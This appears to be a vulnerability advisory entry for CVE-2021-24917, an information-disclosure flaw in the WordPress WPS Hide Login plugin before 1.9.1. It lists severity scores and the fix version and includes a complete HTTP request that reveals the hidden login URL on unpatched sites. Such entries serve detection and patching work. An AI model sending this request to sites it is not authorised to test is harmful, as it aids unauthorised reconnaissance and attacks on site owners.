| Title | WordPress WPS Hide Login <1.9.1 - Information Disclosure |
|---|---|
| Author | akincibor |
| Severity | High |
| Impact | An attacker can gain sensitive information about the WordPress site, such as the login page URL. |
| Remediation | Fixed in version 1.9.1. |
| CVSS Score | 7.5 |
| EPSS Score | 0.74492 |
| CVE ID | CVE-2021-24917 |
| CWE ID | CWE-863 |
| Tags | cve2021 cve wp wordpress wp-plugin unauth wpscan wpserveur vuln |
WordPress WPS Hide Login plugin before 1.9.1 is susceptible to incorrect authorization. An attacker can obtain the secret login page by setting a random referer string and making a request to /wp-admin/options.php as an unauthenticated user. This reveals the secret login location.
GET /wp-admin/options.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/E7FBAF
Connection: close
Referer: something
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24917.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24917.pcap
N/AN/A